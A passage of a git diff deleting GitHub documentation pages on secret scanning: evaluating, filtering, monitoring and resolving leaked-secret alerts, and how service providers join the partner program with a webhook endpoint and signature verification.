[AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/push-protection-for-users).{% endif %} -> -> {% data reusables.secret-scanning.push-protection-older-tokens %} For more information about push protection limitations, see [AUTOTITLE](/code-security/secret-scanning/troubleshooting-secret-scanning-and-push-protection/troubleshooting-secret-scanning#push-protection-and-pattern-versions). - -{% ifversion fpt or ghec %} - -## About partner alerts - -When {% data variables.product.company_short %} detects a leaked secret in a public repository or npm package, an alert is sent directly to the secret provider, if they are part of {% data variables.product.company_short %}'s secret scanning partner program. For more information about {% data variables.secret-scanning.partner_alerts %}, see [AUTOTITLE](/code-security/secret-scanning/secret-scanning-partnership-program/secret-scanning-partner-program) and [AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns). - -Partner alerts are not sent to repository administrators, so you do not need to take any action for this type of alert. - -{% endif %} - -## Next steps - -* [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/viewing-alerts) - -## Further reading - -* [AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns){% ifversion ghec or ghes %} -* [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/defining-custom-patterns-for-secret-scanning){% endif %}{% ifversion secret-scanning-non-provider-patterns %} -* [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/non-provider-patterns/enabling-secret-scanning-for-non-provider-patterns){% endif %}{% ifversion secret-scanning-ai-generic-secret-detection %} -* [AUTOTITLE](/code-security/secret-scanning/copilot-secret-scanning/responsible-ai-generic-secrets){% endif %} diff --git a/content/code-security/secret-scanning/managing-alerts-from-secret-scanning/evaluating-alerts.md b/content/code-security/secret-scanning/managing-alerts-from-secret-scanning/evaluating-alerts.md deleted file mode 100644 index 52a6b8b88962..000000000000 --- a/content/code-security/secret-scanning/managing-alerts-from-secret-scanning/evaluating-alerts.md +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: Evaluating alerts from secret scanning -intro: 'Learn about additional features that can help you evaluate alerts and prioritize their remediation, such as checking a secret''s validity.' -permissions: '{% data reusables.permissions.secret-scanning-alerts %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Secret scanning - - Secret Protection - - Alerts - - Repositories -shortTitle: Evaluate alerts -allowTitleToDifferFromFilename: true ---- - -## About evaluating alerts - -There are some additional features that can help you to evaluate alerts in order to better prioritize and manage them. You can: - -* Check the validity of a secret, to see if the secret is still active. {% ifversion fpt or ghes %}**Applies to {% data variables.product.company_short %} tokens only**.{% endif %} For more information, see [Checking a secret's validity](#checking-a-secrets-validity).{% ifversion secret-scanning-validity-check-partner-patterns %} -* Perform an "on-demand" validity check, to get the most up to date validation status. For more information, see [Performing an on-demand validity check](#performing-an-on-demand-validity-check).{% endif %} -* Review a token's metadata. **Applies to {% data variables.product.company_short %} tokens only**. For example, to see when the token was last used. For more information, see [Reviewing {% data variables.product.company_short %} token metadata](#reviewing-github-token-metadata).{% ifversion secret-scanning-multi-repo-public-leak %} -* Review the labels assigned to the alert. For more information, see [Reviewing alert labels](#reviewing-alert-labels).{% endif %} - -## Checking a secret's validity - -Validity checks help you prioritize alerts by telling you which secrets are `active` or `inactive`. An `active` secret is one that could still be exploited, so these alerts should be reviewed and remediated as a priority. - -By default, {% data variables.product.company_short %} checks the validity of {% data variables.product.company_short %} tokens and displays the validation status of the token in the alert view. - -{% ifversion fpt %} - -Organizations using {% ifversion ghas-products-cloud %}{% data variables.product.prodname_team %} or {% endif %}{% data variables.product.prodname_ghe_cloud %} with a license for {% data variables.product.prodname_GH_secret_protection %} can also enable validity checks for partner patterns. For more information, see [Checking a secret's validity](/enterprise-cloud@latest/code-security/secret-scanning/managing-alerts-from-secret-scanning/evaluating-alerts#checking-a-secrets-validity) in the {% data variables.product.prodname_ghe_cloud %} documentation. - -{% endif %} - -{% data reusables.secret-scanning.validity-check-table %} - -{% ifversion secret-scanning-validity-check-partner-patterns %} - -{% data reusables.gated-features.partner-pattern-validity-check-ghas %} - -For information on how to enable validity checks for partner patterns, see [AUTOTITLE](/code-security/secret-scanning/enabling-secret-scanning-features/enabling-validity-checks-for-your-repository), and for information on which partner patterns are currently supported, see [AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns). - -{% endif %} - -You can use the REST API to retrieve a list of the most recent validation status for each of your tokens. For more information, see [AUTOTITLE](/rest/secret-scanning) in the REST API documentation. You can also use webhooks to be notified of activity relating to a {% data variables.product.prodname_secret_scanning %} alert. For more information, see the `secret_scanning_alert` event in [AUTOTITLE](/webhooks/webhook-events-and-payloads?actionType=created#secret_scanning_alert). - -{% ifversion copilot-chat-ghas-alerts %} - -## Asking {% data variables.product.prodname_copilot_chat %} about {% data variables.product.prodname_secret_scanning %} alerts - -With a {% data variables.product.prodname_copilot_enterprise %} license, you can ask {% data variables.product.prodname_copilot_chat_short %} for help to better understand security alerts, including {% data variables.product.prodname_secret_scanning %} alerts, in repositories in your organization. For more information, see [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-githubcom#asking-questions-about-alerts-from-github-advanced-security-features). - -{% endif %} - -{% ifversion secret-scanning-validity-check-partner-patterns %} - -## Performing an on-demand validity check - -Once you have enabled validity checks for partner patterns for your repository, you can perform an "on-demand" validity check for any supported secret by clicking **{% octicon "sync" aria-hidden="true" %} Verify secret** in the alert view. {% data variables.product.company_short %} will send the pattern to the relevant partner and display the validation status of the secret in the alert view. - -![Screenshot of the UI showing a {% data variables.product.prodname_secret_scanning %} alert. A button, labeled "Verify secret" is highlighted with an orange outline.](/assets/images/help/security/secret-scanning-verify-secret.png) - -{% endif %} - -## Reviewing {% data variables.product.company_short %} token metadata - -> [!NOTE] -> Metadata for {% data variables.product.company_short %} tokens is currently in {% data variables.release-phases.public_preview %} and subject to change. - -In the view for an active {% data variables.product.company_short %} token alert, you can review certain metadata about the token. This metadata may help you identify the token and decide what remediation steps to take. - -Tokens, like {% data variables.product.pat_generic %} and other credentials, are considered personal information. For more information about using {% data variables.product.company_short %} tokens, see [GitHub's Privacy Statement](/free-pro-team@latest/site-policy/privacy-policies/github-privacy-statement) and [Acceptable Use Policies](/free-pro-team@latest/site-policy/acceptable-use-policies/github-acceptable-use-policies). - - ![Screenshot of the UI for a {% data variables.product.company_short %} token, showing the token metadata.](/assets/images/help/repository/secret-scanning-github-token-metadata.png) - - Metadata for {% data variables.product.company_short %} tokens is available for active tokens in any repository with secret scanning enabled. If a token has been revoked or its status cannot be validated, metadata will not be available. {% data variables.product.company_short %} auto-revokes {% data variables.product.company_short %} tokens in public repositories, so metadata for {% data variables.product.company_short %} tokens in public repositories is unlikely to be available. The following metadata is available for active {% data variables.product.company_short %} tokens: - -|Metadata|Description| -|-------------------------|--------------------------------------------------------------------------------| -|Secret name| The name given to the {% data variables.product.company_short %} token by its creator| -|Secret owner| The {% data variables.product.company_short %} handle of the token's owner| -|Created on| Date the token was created| -|Expired on| Date the token expired| -|Last used on| Date the token was last used| -|Access| Whether the token has organization access| - -{% ifversion secret-scanning-user-owned-repos %}{% data reusables.secret-scanning.secret-scanning-user-owned-repo-access %} If access is granted, {% data variables.product.prodname_dotcom %} will notify the owner of the repository containing the leaked secret, report the action in the repository owner and enterprise audit logs, and enable access for 2 hours.{% ifversion ghec %} For more information, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/accessing-user-owned-repositories-in-your-enterprise).{% endif %}{% endif %} - -{% ifversion secret-scanning-multi-repo-public-leak-deduped-alerts or secret-scanning-multi-repo-public-leak %} - -## Reviewing alert labels - -In the alert view, you can review any labels assigned to the alert. The labels provide additional details about the alert, which can inform the approach you take for remediation. - -{% data variables.product.prodname_secret_scanning_caps %} alerts can have the following labels assigned to them. Depending on the labels assigned, you'll see additional information in the alert view. - -|Label|Description|Alert view information| -|-------------------------|--------------------------------------------------------------------------------|-------------------------| -|`public leak`| The secret detected in your repository has also been found as publicly leaked by at least one of {% data variables.product.github %}'s scans of code, discussions, gists, issues, pull requests, and wikis. This may require you to address the alert with greater urgency, or remediate the alert differently compared to a privately exposed token. | You'll see links to any specific public locations where the leaked secret has been detected. | -|`multi-repo`| The secret detected in your repository has been found across multiple repositories in your organization or enterprise. This information may help you more easily dedupe the alert across your organization or enterprise. | If you have appropriate permissions, you'll see links to any specific alerts for the same secret in your organization or enterprise. | - -{% endif %} - -## Next steps - -* [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/resolving-alerts) diff --git a/content/code-security/secret-scanning/managing-alerts-from-secret-scanning/index.md b/content/code-security/secret-scanning/managing-alerts-from-secret-scanning/index.md deleted file mode 100644 index dfcebdae2a61..000000000000 --- a/content/code-security/secret-scanning/managing-alerts-from-secret-scanning/index.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Managing alerts from secret scanning -intro: 'Learn how to find, evaluate, and resolve alerts for secrets stored in your repository.' -product: '{% data reusables.gated-features.secret-scanning %}' -redirect_from: - - /github/administering-a-repository/managing-alerts-from-secret-scanning - - /code-security/secret-security/managing-alerts-from-secret-scanning - -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Secret scanning - - Secret Protection - - Alerts - - Repositories -shortTitle: Manage alerts -children: - - /about-alerts - - /viewing-alerts - - /evaluating-alerts - - /resolving-alerts - - /monitoring-alerts ---- diff --git a/content/code-security/secret-scanning/managing-alerts-from-secret-scanning/monitoring-alerts.md b/content/code-security/secret-scanning/managing-alerts-from-secret-scanning/monitoring-alerts.md deleted file mode 100644 index 9fc54bb2ec62..000000000000 --- a/content/code-security/secret-scanning/managing-alerts-from-secret-scanning/monitoring-alerts.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Monitoring alerts from secret scanning -intro: 'Learn how and when {% data variables.product.github %} will notify you about a secret scanning alert.' -permissions: '{% data reusables.permissions.secret-scanning-alerts %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Secret scanning - - Secret Protection - - Alerts - - Repositories -shortTitle: Monitor alerts -allowTitleToDifferFromFilename: true ---- - -## Configuring notifications for {% data variables.secret-scanning.alerts %} - -In addition to displaying an alert in the **Security** tab of the repository, {% data variables.product.github %} can also send email notifications for alerts. These notifications are different for incremental scans and historical scans. - -### Incremental scans - -{% data reusables.secret-scanning.secret-scanning-configure-notifications %} - -{% data reusables.repositories.navigate-to-repo %} -1. To start watching the repository, select **{% octicon "eye" aria-hidden="true" %} Watch**. - - ![Screenshot of the repository's main page. A dropdown menu, titled "Watch", is highlighted with an orange outline.](/assets/images/help/repository/repository-watch-dropdown.png) - -1. In the dropdown menu, click **All Activity**. Alternatively, to only subscribe to security alerts, click **Custom**, then click **Security alerts**. -1. Navigate to the notification settings for your personal account. These are available at [https://github.com/settings/notifications](https://github.com/settings/notifications). -1. On your notification settings page, under "Subscriptions", then under "Watching", select the **Notify me** dropdown. -1. Select "Email" as a notification option, then click **Save**. - - ![Screenshot of the notification settings for a user account. Under "Subscriptions" and "Watching" a checkbox, titled "Email", is outlined in orange.](/assets/images/help/notifications/repository-watching-notification-options.png) - -{% data reusables.notifications.watch-settings %} - -### Historical scans - -For historical scans, {% data variables.product.github %} notifies the following users: - -* Organization owners, enterprise owners, and security managers—whenever a historical scan is complete, even if no secrets are found. -* Repository administrators, security managers, and users with custom roles with read/write access—whenever a historical scan detects a secret, and according to their notification preferences. - -We do _not_ notify commit authors. - -{% data reusables.notifications.watch-settings %} - -## Auditing responses to secret scanning alerts - -{% data reusables.secret-scanning.audit-secret-scanning-events %} diff --git a/content/code-security/secret-scanning/managing-alerts-from-secret-scanning/resolving-alerts.md b/content/code-security/secret-scanning/managing-alerts-from-secret-scanning/resolving-alerts.md deleted file mode 100644 index dc87ea699dd9..000000000000 --- a/content/code-security/secret-scanning/managing-alerts-from-secret-scanning/resolving-alerts.md +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: Resolving alerts from secret scanning -intro: 'After reviewing the details of a secret scanning alert, you should fix and then close the alert.' -permissions: '{% data reusables.permissions.secret-scanning-alerts %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Secret scanning - - Secret Protection - - Alerts - - Repositories -shortTitle: Resolve alerts -allowTitleToDifferFromFilename: true ---- - -## Fixing alerts - -Once a secret has been committed to a repository, you should consider the secret compromised. {% data variables.product.github %} recommends the following actions for compromised secrets: - -* Verify that the secret committed to {% data variables.product.github %} is valid. {% ifversion fpt or ghes %}**Applies to {% data variables.product.github %} tokens only**. See [Checking a secret's validity](/code-security/secret-scanning/managing-alerts-from-secret-scanning/evaluating-alerts#checking-a-secrets-validity).{% endif %}{% ifversion secret-scanning-validity-check-partner-patterns %}See [Performing an on-demand validity check](/code-security/secret-scanning/managing-alerts-from-secret-scanning/evaluating-alerts#performing-an-on-demand-validity-check).{% endif %}{% ifversion secret-scanning-report-secret-github-pat %} -* For secrets detected in private repositories, report the leaked secret to {% data variables.product.github %}, who will treat it like any publicly leaked secret and revoke it. **Applies to {% data variables.product.github %} {% data variables.product.pat_generic %}s only**. See [Reporting a leaked secret](#reporting-a-leaked-secret). {% endif %} -* Review and update any services that use the old token. For {% data variables.product.github %} {% data variables.product.pat_generic %}s, delete the compromised token and create a new token. See [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). -* Depending on the secret provider, check your security logs for any unauthorized activity. - -{% ifversion secret-scanning-report-secret-github-pat %} - -### Reporting a leaked secret - -> [!NOTE] -> {% data reusables.secret-scanning.report-secret-pat-beta-note %} The feature is currently only available for {% data variables.product.github %} {% data variables.product.pat_generic %}s (v1 and v2). - -{% endif %} - -{% ifversion fpt or ghec %} - -If a secret is detected in a **public** repository on {% data variables.product.github %} and the secret also matches a supported partner pattern, the potential secret is **automatically reported** to the service provider. For details of all supported partner patterns, see [AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns#supported-secrets). - -{% endif %} - -{% ifversion secret-scanning-report-secret-github-pat %} - -For secrets detected in **private** repositories, anyone who can view {% data variables.secret-scanning.alerts %} for a repository can choose to report the privately exposed secret directly to {% data variables.product.github %}. - -By reporting the secret, the token provider will treat the privately exposed secret as if it had been publicly leaked. This means the token provider may revoke the secret, so you should first consider reviewing and updating any services that use the secret. If possible, you should also consider notifying the token owner before reporting the token, so that the token owner is aware that the secret may get revoked. - -You will only see the option to report a privately exposed secret to {% data variables.product.github %} if the following conditions are met: - -* The secret is a {% data variables.product.github %} {% data variables.product.pat_generic %}. -* The secret's validity has not been confirmed, or the secret's validity has been confirmed as `active`. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -1. In the left sidebar, under "Vulnerability alerts", click **{% data variables.product.prodname_secret_scanning_caps %}**. -1. From the alert list, click the alert you want to view. -1. In the alert view for the leaked secret, click **Report leak**. - - > [!NOTE] In order to prevent breaking workflows, consider first rotating the secret before continuing, as disclosing it could lead to the secret being revoked. If possible, you should also reach out to the token owner to let them know about the leak and coordinate a remediation plan. - -1. Review the information in the dialog box, then click **I understand the consequence, report this secret**. - -{% endif %} - -## Closing alerts - -> [!NOTE] ->{% data variables.product.prodname_secret_scanning_caps %} doesn't automatically close alerts when the corresponding token has been removed from the repository. You must manually close these alerts in the alert list on {% data variables.product.prodname_dotcom %}. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -1. In the left sidebar, under "Vulnerability alerts", click **{% data variables.product.prodname_secret_scanning_caps %}**. -1. Under "{% data variables.product.prodname_secret_scanning_caps %}", click the alert you want to view. -1. To dismiss an alert, select the "Close as" dropdown menu and click a reason for resolving an alert. - - ![Screenshot of a {% data variables.product.prodname_secret_scanning %} alert. A dropdown menu, titled "Close as", is expanded and highlighted in a dark orange outline.](/assets/images/help/repository/secret-scanning-dismiss-alert-web-ui-link-partner-documentation.png) - -1. Optionally, in the "Comment" field, add a dismissal comment. The dismissal comment will be added to the alert timeline and can be used as justification during auditing and reporting. You can view the history of all dismissed alerts and dismissal comments in the alert timeline. You can also retrieve or set a comment by using the {% data variables.product.prodname_secret_scanning_caps %} API. The comment is contained in the `resolution_comment` field. For more information, see [AUTOTITLE](/rest/secret-scanning#update-a-secret-scanning-alert) in the REST API documentation. -1. Click **Close alert**. - -## Next steps - -* [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/monitoring-alerts) diff --git a/content/code-security/secret-scanning/managing-alerts-from-secret-scanning/viewing-alerts.md b/content/code-security/secret-scanning/managing-alerts-from-secret-scanning/viewing-alerts.md deleted file mode 100644 index a004bea680ac..000000000000 --- a/content/code-security/secret-scanning/managing-alerts-from-secret-scanning/viewing-alerts.md +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: Viewing and filtering alerts from secret scanning -intro: 'Learn how to find and filter {% ifversion fpt or ghec %}{% data variables.secret-scanning.user_alerts %}{% else %}{% data variables.secret-scanning.user_alerts %} alerts{% endif %} for your repository.' -permissions: '{% data reusables.permissions.secret-scanning-alerts %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Secret scanning - - Secret Protection - - Alerts - - Repositories -shortTitle: View alerts -allowTitleToDifferFromFilename: true ---- - -## About the {% data variables.product.prodname_secret_scanning %} alerts page - -{% data reusables.secret-scanning.secret-scanning-about-alerts %} {% data reusables.secret-scanning.repository-alert-location %} - -{% ifversion secret-scanning-non-provider-patterns %} - -To help you triage alerts more effectively, {% data variables.product.company_short %} separates alerts into two lists: - -{% ifversion secret-scanning-alert-experimental-list %} -* **Default** alerts -* **Experimental** alerts - -{% ifversion secret-scanning-alert-experimental-list-toggle %} -![Screenshot of the {% data variables.product.prodname_secret_scanning %} alert view. The button to toggle between "Default" and "Experimental" alerts is highlighted with an orange outline.](/assets/images/enterprise/3.16/help/security/secret-scanning-default-alert-view.png) -{% else %} -![Screenshot of the {% data variables.product.prodname_secret_scanning %} alert view. The sidebar menu items for "Default" and "Experimental" alerts are highlighted with an orange outline.](/assets/images/help/security/secret-scanning-default-alert-view.png) -{% endif %} - -{% else %} -* **High confidence** alerts. -* **Other** alerts. - -![Screenshot of the {% data variables.product.prodname_secret_scanning %} alert view. The button to toggle between "High confidence" and "Other" alerts is highlighted with an orange outline.](/assets/images/help/security/secret-scanning-high-confidence-alert-view.png) - -{% endif %} - -{% ifversion secret-scanning-alert-experimental-list %} - -### Default alerts list - -The default alerts list displays alerts that relate to supported patterns and specified custom patterns. This is the main view for alerts. - -### Experimental alerts list - -The experimental alerts list displays alerts that relate to non-provider patterns (such as private keys){% ifversion secret-scanning-ai-generic-secret-detection %}, or generic secrets detected using AI (such as passwords){% endif %}. These types of alerts can have a higher rate of false positives or secrets used in tests. You can toggle to the experimental alerts list from the default alerts list. - -{% else %} - -### High confidence alerts list - -The "High confidence" alerts list displays alerts that relate to supported patterns and specified custom patterns. This list is always the default view for the alerts page. - -### Other alerts list - -The "Other" alerts list displays alerts that relate to non-provider patterns (such as private keys){% ifversion secret-scanning-ai-generic-secret-detection %}, or generic secrets detected using AI (such as passwords){% endif %}. These types of alerts have a higher rate of false positives. - -{% endif %} - -In addition, alerts that fall into this category: -* Are limited in quantity to 5000 alerts per repository (this includes open and closed alerts). -* Are not shown in the summary views for security overview, only in the "{% data variables.product.prodname_secret_scanning_caps %}" view. -* Only have the first five detected locations shown on {% data variables.product.prodname_dotcom %} for non-provider patterns{% ifversion secret-scanning-ai-generic-secret-detection %}, and only the first detected location shown for AI-detected generic secrets{% endif %}. - -For {% data variables.product.company_short %} to scan for non-provider patterns{% ifversion secret-scanning-ai-generic-secret-detection %} and generic secrets{% endif %}, you must first enable the feature{% ifversion secret-scanning-ai-generic-secret-detection %}s{% endif %} for your repository or organization. For more information, see [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/non-provider-patterns/enabling-secret-scanning-for-non-provider-patterns){% ifversion secret-scanning-ai-generic-secret-detection %} and [AUTOTITLE](/code-security/secret-scanning/copilot-secret-scanning/enabling-ai-powered-generic-secret-detection){% endif %}. - -{% ifversion secret-scanning-alert-experimental-list %} - -{% data variables.product.github %} will continue to release new patterns and secret types to the experimental alerts list and will promote them to the default list when feature-complete (e.g. when they have an appropriately low volume and false positive rate). - -{% endif %} - -{% endif %} - -## Viewing alerts - -Alerts for {% data variables.product.prodname_secret_scanning %} are displayed under the **Security** tab of the repository. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -1. In the left sidebar, under "Vulnerability alerts", click **{% data variables.product.prodname_secret_scanning_caps %}**. {% ifversion secret-scanning-non-provider-patterns %} -1. Optionally, toggle to {% ifversion secret-scanning-alert-experimental-list %}"Experimental"{% else %}"Other"{% endif %} to see alerts for non-provider patterns{% ifversion secret-scanning-ai-generic-secret-detection %} or generic secrets detected using AI{% endif %}.{% endif %} -1. Under "{% data variables.product.prodname_secret_scanning_caps %}", click the alert you want to view. - {% ifversion secret-scanning-user-owned-repos %} - - > [!NOTE] - > {% data reusables.secret-scanning.secret-scanning-user-owned-repo-access %} - - {% endif %} - -## Filtering alerts - -You can apply various filters to the alerts list to help you find the alerts you're interested in. You can use the dropdown menus above the alerts list, or input the qualifiers listed in the table into the search bar. - -|Qualifier|Description| -|---------|-----------| -|`is:open`|Displays open alerts.| -|`is:closed`|Displays closed alerts.| -| {% ifversion secret-scanning-alert-plaid-filters %} | -|`is:publicly-leaked`|Displays alerts for secrets that have been found in a public repository.| -|`is:multi-repository`|Displays alerts for secrets that have been found in more than one repository within the same organization or enterprise.| -| {% endif %} | -| {% ifversion secret-scanning-bypass-filter %} | -|`bypassed: true`|Displays alerts for secrets where push protection has been bypassed. For more information, see [AUTOTITLE](/code-security/secret-scanning/introduction/about-push-protection).| -| {% endif %} | -|`validity:active`| Displays alerts for secrets that are known to be active. {% ifversion fpt %}Applies to {% data variables.product.company_short %} tokens only.{% endif %} For more information about validity statuses, see [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/evaluating-alerts#checking-a-secrets-validity).| -|`validity:inactive`| Displays alerts for secrets that are no longer active.| -|`validity:unknown`| Displays alerts for secrets where the validity status of the secret is unknown.| -|`secret-type:SECRET-NAME`| Displays alerts for a specific secret type, for example, `secret-type:github_personal_access_token`. For a list of supported secret types, see [AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns#supported-secret). | -|`provider:PROVIDER-NAME`|Displays alerts for a specific provider, for example, `provider:github`. For a list of supported partners, see [AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns#supported-secrets).| -| {% ifversion secret-scanning-non-provider-patterns %} | -|{% ifversion secret-scanning-alert-experimental-list %}`results:default`{% else %}`confidence:high`{% endif %}| Displays alerts for {% ifversion secret-scanning-alert-experimental-list %}{% else %}high-confidence secrets, which relate to {% endif %}supported secrets and custom patterns. For a list of supported patterns, see [AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns). | -|{% ifversion secret-scanning-alert-experimental-list %}`results:experimental`{% else %}`confidence:other`{% endif %}| Displays alerts for non-provider patterns, such as private keys{% ifversion secret-scanning-ai-generic-secret-detection %}, and AI-detected generic secrets, such as passwords{% endif %}. For a list of supported non-provider patterns, see [AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns#non-provider-patterns). {% ifversion secret-scanning-ai-generic-secret-detection %}For more information about AI-detected generic secrets, see [AUTOTITLE](/code-security/secret-scanning/copilot-secret-scanning/responsible-ai-generic-secrets).{% endif %}| -| {% endif %} | - -## Next steps - -* [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/evaluating-alerts) diff --git a/content/code-security/secret-scanning/secret-scanning-partnership-program/index.md b/content/code-security/secret-scanning/secret-scanning-partnership-program/index.md deleted file mode 100644 index cdf66c1e9353..000000000000 --- a/content/code-security/secret-scanning/secret-scanning-partnership-program/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Secret scanning partnership program -intro: 'As a service provider, you can partner with {% data variables.product.prodname_dotcom %} to have your secret token formats secured through secret scanning, which searches for accidental commits of your secret format and can be sent to a service provider''s verify endpoint.' -versions: - fpt: '*' - ghec: '*' -topics: - - API -shortTitle: Partner program -children: - - /secret-scanning-partner-program ---- - diff --git a/content/code-security/secret-scanning/secret-scanning-partnership-program/secret-scanning-partner-program.md b/content/code-security/secret-scanning/secret-scanning-partnership-program/secret-scanning-partner-program.md deleted file mode 100644 index 1c5f8c4f8878..000000000000 --- a/content/code-security/secret-scanning/secret-scanning-partnership-program/secret-scanning-partner-program.md +++ /dev/null @@ -1,401 +0,0 @@ ---- -title: Secret scanning partner program -intro: 'As a service provider, you can partner with {% data variables.product.prodname_dotcom %} to have your secret token formats secured through secret scanning, which searches for accidental commits of your secret format and can be sent to a service provider''s verify endpoint.' -product: '{% data reusables.gated-features.secret-scanning-partner-alerts %}' -redirect_from: - - /partnerships/token-scanning - - /partnerships/secret-scanning - - /developers/overview/secret-scanning - - /developers/overview/secret-scanning-partner-program - - /code-security/secret-scanning/secret-scanning-partner-program -versions: - fpt: '*' - ghec: '*' -topics: - - API - - Secret scanning - - Secret Protection -shortTitle: Partner program ---- - -{% data variables.product.prodname_dotcom %} scans repositories for known secret formats to prevent fraudulent use of credentials that were committed accidentally. {% data variables.product.prodname_secret_scanning_caps %} happens by default on public repositories and public npm packages. Repository administrators and organization owners can also enable {% data variables.product.prodname_secret_scanning %} on private repositories. As a service provider, you can partner with {% data variables.product.prodname_dotcom %} so that your secret formats are included in our {% data variables.product.prodname_secret_scanning %}. - -When a match of your secret format is found in a public source, a payload is sent to an HTTP endpoint of your choice. - -When a match of your secret format is found in a private repository configured for {% data variables.product.prodname_secret_scanning %}, then repository admins and the committer are alerted and can view and manage the {% data variables.product.prodname_secret_scanning %} result on {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning). - -This article describes how you can partner with {% data variables.product.prodname_dotcom %} as a service provider and join the {% data variables.product.prodname_secret_scanning %} partner program. - -## The {% data variables.product.prodname_secret_scanning %} process - -The following diagram summarizes the {% data variables.product.prodname_secret_scanning %} process for public repositories, with any matches sent to a service provider's verify endpoint. A similar process sends service providers tokens exposed in public packages on the npm registry. - -![Diagram showing the process of scanning for a secret and sending matches to a service provider's verify endpoint.](/assets/images/help/security/secret-scanning-flow.png) - -## Joining the {% data variables.product.prodname_secret_scanning %} program on {% data variables.product.prodname_dotcom %} - -1. Contact {% data variables.product.prodname_dotcom %} to get the process started. -1. Identify the relevant secrets you want to scan for and create regular expressions to capture them. For more detailed information and recommendations, see [Identify your secrets and create regular expressions](#identify-your-secrets-and-create-regular-expressions) below. -1. For secret matches found publicly, create a secret alert service which accepts webhooks from {% data variables.product.prodname_dotcom %} that contain the {% data variables.product.prodname_secret_scanning %} message payload. -1. Implement signature verification in your secret alert service. -1. Implement secret revocation and user notification in your secret alert service. -1. Provide feedback for false positives (optional). - -### Contact {% data variables.product.prodname_dotcom %} to get the process started - -To get the enrollment process started, email <a href="mailto:secret-scanning@github.com">secret-scanning@github.com</a>. - -You will receive details on the {% data variables.product.prodname_secret_scanning %} program, and you will need to agree to {% data variables.product.prodname_dotcom %}'s terms of participation before proceeding. - -### Identify your secrets and create regular expressions - -To scan for your secrets, {% data variables.product.prodname_dotcom %} needs the following pieces of information for each secret that you want included in the {% data variables.product.prodname_secret_scanning %} program: -* A unique, human-readable name for the secret type. We'll use this to generate the `Type` value in the message payload later. -* A regular expression which finds the secret type. We recommend you are as precise as possible, because this will help reduce the number of false positives. Some best practices for high quality, identifiable secrets are: - * A uniquely defined prefix - * High entropy random strings - * A 32-bit checksum - - ![Screenshot showing the breakdown of a secret into a prefix and a 32-bit checksum.](/assets/images/help/security/regular-expression-guidance.png) - -* A test account for your service. This will allow us to generate and analyze examples of the secrets, further reducing false positives. -* The URL of the endpoint that receives messages from {% data variables.product.prodname_dotcom %}. The URL doesn't have to be unique for each secret type. - -Send this information to <a href="mailto:secret-scanning@github.com">secret-scanning@github.com</a>. - -### Create a secret alert service - -Create a public, internet accessible HTTP endpoint at the URL you provided to us. When a match of your regular expression is found publicly, {% data variables.product.prodname_dotcom %} will send an HTTP `POST` message to your endpoint. - -#### Example request body - -```json -[ - { - "token":"NMIfyYncKcRALEXAMPLE", - "type":"mycompany_api_token", - "url":"https://github.com/octocat/Hello-World/blob/12345600b9cbe38a219f39a9941c9319b600c002/foo/bar.txt", - "source":"content" - } -] -``` - -The message body is a JSON array that contains one or more objects, with each object representing a single secret match. Your endpoint should be able to handle requests with a large number of matches without timing out. The keys for each secret match are: - -* **token:** The value of the secret match. -* **type:** The unique name you provided to identify your regular expression. -* **url:** The public URL where the match was found (may be empty) -* **source:** Where the token was found on {% data variables.product.prodname_dotcom %}. - -The list of valid values for `source` are: - -* Content -* Commit -* Pull_request_title -* Pull_request_description -* Pull_request_comment -* Issue_title -* Issue_description -* Issue_comment -* Discussion_title -* Discussion_body -* Discussion_comment -* Commit_comment -* Gist_content -* Gist_comment -* Npm -* Unknown - -### Implement signature verification in your secret alert service - -The HTTP request to your service will also contain headers that we strongly recommend using -to validate the messages you receive are genuinely from {% data variables.product.prodname_dotcom %}, and are not malicious. - -The two HTTP headers to look for are: - -* `Github-Public-Key-Identifier`: Which `key_identifier` to use from our API -* `Github-Public-Key-Signature`: Signature of the payload - -You can retrieve the {% data variables.product.prodname_dotcom %} secret scanning public key from https://api.github.com/meta/public_keys/secret_scanning and validate the message using the `ECDSA-NIST-P256V1-SHA256` algorithm. The endpoint -will provide several `key_identifier` and public keys. You can determine which public -key to use based on the value of 